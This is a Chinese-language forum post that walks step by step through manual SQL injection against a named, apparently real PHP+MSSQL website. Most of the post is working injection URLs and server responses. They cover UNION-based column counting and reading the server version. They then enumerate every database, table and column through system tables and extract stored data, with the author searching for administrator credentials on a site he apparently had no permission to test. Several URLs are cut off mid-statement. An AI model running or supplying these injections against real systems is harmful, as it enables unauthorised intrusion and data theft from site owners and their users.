设为首页 收藏本站
查看: 735|回复: 0

[经验分享] 最难又是最简单的注入 - PHP+MSSQL手工注入

[复制链接]

尚未签到

发表于 2018-12-22 07:48:12 | 显示全部楼层 |阅读模式
  下面的注入语句很长,要注意select后面的是id还是name还是其他。
  其实很简单,就是注入语句相当长。其实,我以早就会这种方式,只不过温习了一下。
  方法:旁注
  旁注目标:http://www.sdzhyl.com/
  找到一个注入点:
  http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12
  后面分别加and 1=1和and 1=2
  http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=1
  返回正常页面。
  http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2
  返回错误页面。
Warning: main(): PropGet() failed: 发生意外。 Source: ADODB.Field Description: BOF 或 EOF 中有一个是“真”,或者当前的记录已被删除,所需的操作要求一个当前的记录。 in d:\program files\magic winmail\server\webmail\www\zhengheng\performance\sub.php on line 42

下载 (30.9 KB)2010-4-22 15:48  从回显看,这好像是一个php+MSSQL环境的网站。
  猜字段数:
  http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=1+union+select+1
  回显如下:
Warning: main(): Invoke() failed: 发生意外。 Source: Microsoft OLE DB Provider for SQL Server Description: 包含 UNION 运算符的 SQL 语句中的所有查询都必须在目标列表中具有相同数目的表达式。 in d:\program files\magic winmail\server\webmail\www\zhengheng\performance\sub.php on line 41

下载 (63.31 KB)2010-4-22 15:52  确实是MSSQL微软的数据库。猜到3个
  http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=1+union+select+1,1,1
  突然出现:
Warning: main(): Invoke() failed: 发生意外。 Source: Microsoft OLE DB Provider for SQL Server Description: 操作数类型冲突: ntext 与 int 不兼容 in d:\program files\magic winmail\server\webmail\www\zhengheng\performance\sub.php on line 41

下载 (41.62 KB)2010-4-22 15:53  上网上搜了一下,说什么的都有,结果都不管用。突然想起来,习科有个“小”字辈的成员说过,用union all代替union,用null代替数字段数的数字,等出来数目了,再慢慢用数字替换null,能不能出来显示位看人品,如果人品不好,再另想办法,但是这是最快的方法了。
  http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=1+union+all+select+null,null,null
  这样,回显又成了,包含 UNION 运算符的 SQL 语句中的所有查询都必须在目标列表中具有相同数目的表达式
  那么继续加null,到了:http://www.sdzhyl.com/zhengheng/performance /sub.php?table=performance&id=12+and+1=1+union+all+select+null,null,null,null
  四个的时候,终于又出来正常的页面了。
  下面把and 1=1换成and 1=2,把null挨个换成数字,出错的话,换回null,挨个换。
  这样就得到:
  http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,2,null,3
  出来一个显示位:2

下载 (22.36 KB)2010-4-22 16:04  注意,下一步,和php+MySql的注入不同,下一步是爆出库名。看看有几个数据库。
  不过我们先看看服务器数据库的版本:
  显示位2换成@@version
  http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,@@version,null,3

下载 (413.78 KB)2010-4-22 13:06  得到:
Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Personal Edition on Windows NT 5.2 (Build 3790: Service Pack 1)
  是MSSQL2000。好了,正式开始报库名(低版本IIS会被暴库,MSSQL注入可以爆库名,微软真是悲剧。。。)
  显示位2换成:db_name(),查看当前库名:
  http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,db_name(),null,3
  得到库名是:zhengheng
  然后通过数据库的id获得数据库的名称:
  http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+dbid=1--
  依然是and 1=2,2号显示位换成"name",显示位字段数后面加上“from master.dbo.sysdatabases”,然后通过where选择dbid。上面的是dbid=1的数据库,库名就是:master
  http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+dbid=2--
  第二个数据库名:tempdb
  http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+dbid=3--
  第三个数据库名:model
  http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+dbid=4--
  第四个数据库名:msdb
  http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+dbid=5--
  第五个数据库名:pubs
  http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+dbid=6--
  第六个数据库名:Northwind
  http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+dbid=7--
  第七个数据库名:StrongCRM
  http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+dbid=8--
  第八个数据库名:handson
  http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+dbid=9--
  第九个数据库(当前数据库)名zhengheng
  http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+dbid=10--
  第十个数据库名:tjlyweb2
  http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+dbid=11--
  第十一个数据库名:tjtourstat
  到了第12个
  http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+dbid=12--
  回显:
Warning: main(): PropGet() failed: 发生意外。 Source: ADODB.Field Description: BOF 或 EOF 中有一个是“真”,或者当前的记录已被删除,所需的操作要求一个当前的记录。 in d:\program files\magic winmail\server\webmail\www\zhengheng\performance\sub.php on line 41

下载 (30.49 KB)2010-4-22 16:15  dbid换成12到20都提示这个,可能服务器上就只有上面的11个数据库了。
  下面依然通过查询id获得名称,不过这次不是数据库名,而是表名。
  我们以当前数据库 zhengheng 为例,查询表的名字比较简单,但是语句比较长:
  http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from+Northwind.dbo.sysobjects+where xtype=CHAR(85) and name not in (select top 1 name from Northwind.dbo.sysobjects where xtype=CHAR(85))--
  不多解释,就是sql语句,其中两个地方要填写数据库名,格式是   数据库名.dbo.sysobjects,总过两个,要是一样的。如果不是当前的数据库,这就成了跨库查询,可能有的虚拟主机设置权限不让跨库查询。这里查的是:Northwind.dbo.sysobjects
  括号里的最后一句: (select top 1 name from Northwind.dbo.sysobjects where xtype=CHAR(85))
  这里面变化  top XX name 里面的数字即可,这个XX是表的序号。这样从top 1 一直查到 top 12,列出的表名称如下:
  Products
  Order Details
  CustomerCustomerDemo
  CustomerDemographics
  Region
  Territories
  EmployeeTerritories
  Employees
  Categories
  Customers
  Shippers
  Suppliers
  再下面是查字段名了。查询字段名共分两步,
  1、获得表段的总序号,注意是总序号,跟id不同,而且要区分好字段和表段
  2、根据表的序号一个一个列出字段的名字
  第一步:
  http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,id,null,3+from+Northwind.dbo.sysobjects+where xtype=CHAR(85) and name not in (select top 10 name from Northwind.dbo.sysobjects where xtype=CHAR(85))--
  这里仍然是变化top XX,前面有几个XX,这里就可以有几个XX。
  注意:不要以为上一步多余,字段的名字是必须知道的,光靠序号和id,后面是无法继续的
  http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,id,null,3+from+Northwind.dbo.sysobjects+where xtype=CHAR(85) and name not in (select top 10 name from Northwind.dbo.sysobjects where xtype=CHAR(85))--
  获得序号是:2073058421

下载 (25.5 KB)2010-4-22 16:40  这个序号要记好了,把这个序号复制下:

  http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from Northwind.dbo.syscolumns where>
  注意看了,上面select的是id,这里是name,from后面的数据库我就不说了,句子中有两个数据库名字,同样也有两个where>  这个id等于就是前面步骤出来的 总序号,top这个,跟之前列表名的top不一样。前面是列表名,这里是列字名。
  表名和字名不是一回事,数量自然是没法比的。
  所以这里top1到topXXX列出来,就能列出id为2073058421即Northwind数据库的Products表段里面的字的名字了。
  这个逻辑一定要搞清。

  http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from Northwind.dbo.syscolumns where>  第一个字段是city,第二个是CompanyName。。。。。
  我们主要查的是管理员的表和字,这里就不继续查下去了
  不过查来查去,我还是没找到管理员的表在哪里。。。。
  根据前面得到的表名和字名,查询字段里的内容即可:
  http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,title,null,3+from+zhengheng..landed--
  我查的跟上面列出来的例子里面的数据库、表。字不一样,跟着变就可以了。
  我查的数据库是zhengheng,
  http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from+zhengheng.dbo.sysobjects+where xtype=CHAR(85) and name not in (select top 15 name from zhengheng.dbo.sysobjects where xtype=CHAR(85))--
  表段是landed,id是997578592,
  http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,id,null,3+from+zhengheng.dbo.sysobjects+where xtype=CHAR(85) and name not in (select top 15 name from zhengheng.dbo.sysobjects where xtype=CHAR(85))--
  字段是title,

  http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from zhengheng.dbo.syscolumns where>  内容是:
2008年房地产评估项目

下载 (51.53 KB)2010-4-22 17:06  OK,编辑完成。


运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-654194-1-1.html 上篇帖子: 记一次Debian下PHP环境的搭建(nginx+mariadb+PHP)! 下篇帖子: PHP中的魔术方法总结[__construct/__destruct/__get/__set/__isset/__unset/__toString/__clon
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表